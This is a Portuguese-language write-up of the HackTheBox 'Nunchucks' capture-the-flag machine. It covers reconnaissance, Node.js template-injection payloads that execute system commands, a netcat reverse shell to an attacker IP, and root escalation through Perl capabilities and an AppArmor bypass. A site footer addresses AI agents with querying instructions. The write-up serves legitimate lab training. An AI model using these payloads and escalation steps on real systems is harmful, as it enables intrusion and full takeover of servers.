> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/writeups-ctf/hackthebox/linux-easy/nunchucks-hackthebox-writeup.md).

# Relato do HackTheBox Nunchucks

{% hint style="warning" %}
**Habilidades:**

* NodeJS SSTI (Injeção de Template do Lado do Servidor)
* Bypass de Perfil do AppArmor (Escalada de Privilégios)
  {% endhint %}

## Reconhecimento

**Configuração do ambiente de trabalho:**

Configure o ambiente de trabalho criando três pastas para armazenar conteúdo importante, exploits e resultados de reconhecimento do Nmap.

<figure><img src="/files/0c2ffd3ce9070ab0d2e5c22afd4f599d79f4c212" alt="" width="563"><figcaption></figcaption></figure>

**Verificação de conectividade da VPN**

Verifique a conectividade da VPN para garantir comunicação estável com a máquina-alvo.

<figure><img src="/files/65a1c112d96dd6483ad8bce0fa913cbac1a31981" alt="" width="563"><figcaption></figcaption></figure>

**Descoberta de portas abertas com Nmap:** Enumere as portas abertas e exporte os resultados para o arquivo "allPorts" no diretório do Nmap:

```bash
nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.11.122 -oG allPorts
```

<figure><img src="/files/de895b66d7c6e10086c6f54af51015910c0e4e9d" alt=""><figcaption></figcaption></figure>

**Análise das portas abertas com extractport:** Usando a função extractport para exibir sinteticamente as portas abertas e copiá-las para a área de transferência.

<figure><img src="/files/4d99236e279d004a0e47365da616354327f5745c" alt=""><figcaption></figcaption></figure>

**Escaneando a versão da porta com o Nmap:** Usando o Nmap para escanear a versão da porta e extraindo as informações para o arquivo "targeted":

```bash
nmap -sCV -p22,80,443 10.10.11.122 -oN targeted
```

<figure><img src="/files/9c3f50d6b7536e9a84e13a399d76bcec522d6457" alt=""><figcaption></figcaption></figure>

Para resolver nomes de domínio em endereços IP via DNS, insira o nome de domínio associado ao seu endereço IP no `/etc/hosts` arquivo.

<figure><img src="/files/32b6349fe3a8de8a86c65775a9cf05391312e1a5" alt="" width="563"><figcaption></figcaption></figure>

### Porta 443 - HTTPS

<figure><img src="/files/ecd75e10fb7994f8a27b6dbef34cd690b4e51898" alt=""><figcaption></figcaption></figure>

Encontramos um painel de login, mas sem credenciais conhecidas.

<figure><img src="/files/eb13e59cc3916bb71f6fe42f033023f7a05939c6" alt="" width="563"><figcaption></figcaption></figure>

### Fuzzing de VHost - Gobuster

Nós realizamos **fuzzing** de subdomínios para identificar possíveis serviços ocultos:

```bash
gobuster vhost -u https://nunchucks.htb/ --append-domain -w /usr/share/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -t 100 -k
```

<figure><img src="/files/1fa5c144df0473fe9f1ed16711165b7ba78cbdd5" alt=""><figcaption></figcaption></figure>

Encontramos o subdomínio **store.nunchucks.htb**.

<figure><img src="/files/f9d881586878d7675b2405cc79c68f19a0564a8b" alt=""><figcaption></figcaption></figure>

## Vulnerabilidade SSTI (Node.js)

Notamos uma funcionalidade que permite inserir um e-mail para assinar uma newsletter. A resposta do servidor exibe diretamente nossa entrada, sugerindo uma possível **Injeção de Modelo no Lado do Servidor (SSTI)**.

<figure><img src="/files/e4e8535e6b1c1e248be7c78b1029855dedd01bb7" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/8286d95002e5f3b0375ab01d7a4d1beb6ca27ba1" alt=""><figcaption></figcaption></figure>

#### Teste de Vulnerabilidade

Interceptamos a requisição com **Burp Suite** e testar um SSTI clássico:

<figure><img src="/files/ba2f4d9cb3a8eec9f729d483f9d58d8ba24cacf6" alt=""><figcaption></figcaption></figure>

```json
{{9*9}}
```

Se a resposta mostrar `81`, então a aplicação é vulnerável, o que é o caso aqui.

<figure><img src="/files/2975fe425e174dcf9d07393178bbb26a84d50444" alt=""><figcaption></figcaption></figure>

### Leitura `/etc/passwd`

Usamos o seguinte payload para exibir o conteúdo de `/etc/passwd`:

{% code overflow="wrap" %}

```python
{{range.constructor(/"return global.process.mainModule.require('child_process').execSync('tail /etc/passwd')/"))}}
```

{% endcode %}

<figure><img src="/files/587f816271433689da009add9cb957cd956dad6d" alt=""><figcaption></figcaption></figure>

#### Recuperação do usuário atual

{% code overflow="wrap" %}

```python
{{range.constructor(/"return global.process.mainModule.require('child_process').execSync('whoami')/")()}}
```

{% endcode %}

Obtemos `david`.

<figure><img src="/files/1ec6a13ea2b52725872865680bb0f4b167b16396" alt=""><figcaption></figcaption></figure>

### Shell reversa via SSTI (Node.js)

Iniciando a escuta na porta **4444**:

```bash
nc -nlvp 4444
```

Envie o payload de reverse shell:

{% code overflow="wrap" %}

```python
{{range.constructor(/"return global.process.mainModule.require('child_process').execSync('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.28 4444 >/tmp/f')/")()}}
```

{% endcode %}

Acesso à máquina-alvo

<figure><img src="/files/926a1218f4964ae58194e97144c7ba9a628a1bfa" alt=""><figcaption></figcaption></figure>

### Flag user.txt

<figure><img src="/files/2014ad5c2a5ed60d1510c8e1ae9862af4576d2a5" alt="" width="517"><figcaption></figcaption></figure>

#### Estabilização do terminal

```bash
script /dev/null -c bash
# Ctrl+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

## Escalada de PrivilégiosS

### Exploração de **Capabilities** no Perl

{% embed url="<https://gtfobins.github.io/gtfobins/perl/#capabilities>" %}

Listamos o **capacidades** disponíveis:

```bash
getcap -r / 2>/dev/null
```

Notamos que `perl` tem permissões especiais.

<figure><img src="/files/93f9495237bd26d00d7ddd1210914bc8cf092799" alt=""><figcaption></figcaption></figure>

**Executando um comando como root**

```bash
perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "whoami";'
```

Obtemos **root**.

<figure><img src="/files/50419fdb4516aaa7cc0b148e2d7dabed002b461e" alt=""><figcaption></figcaption></figure>

### Bypass do AppArmor

```bash
perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/bash -p";'
```

<figure><img src="/files/c8c3c48200469537e1e436491291e9b70a9e9a63" alt=""><figcaption></figcaption></figure>

O `/usr/bin/perl` binário é restringido por **AppArmor**

<figure><img src="/files/d4067010ca82b44bc205ac80fffa4b4ea417cc05" alt=""><figcaption></figcaption></figure>

Explorar um conhecido [bug do AppArmor](https://bugs.launchpad.net/apparmor/+bug/1911431) para contornar a restrição criando um script:

```basic
#!/usr/bin/perl
use POSIX qw(setuid);
POSIX::setuid(0);
exec "/bin/bash";
```

<figure><img src="/files/57a77b1eeb43a28496e52f320bbdf3a3102b04b0" alt=""><figcaption></figcaption></figure>

### Flaf root.txt :)

<figure><img src="/files/ae1dd0dbc8ed05abae81227cbef6653b9b6a8d0a" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/3fa21a41728210468855c74c7b0a79685045c1dc" alt="" width="525"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/writeups-ctf/hackthebox/linux-easy/nunchucks-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
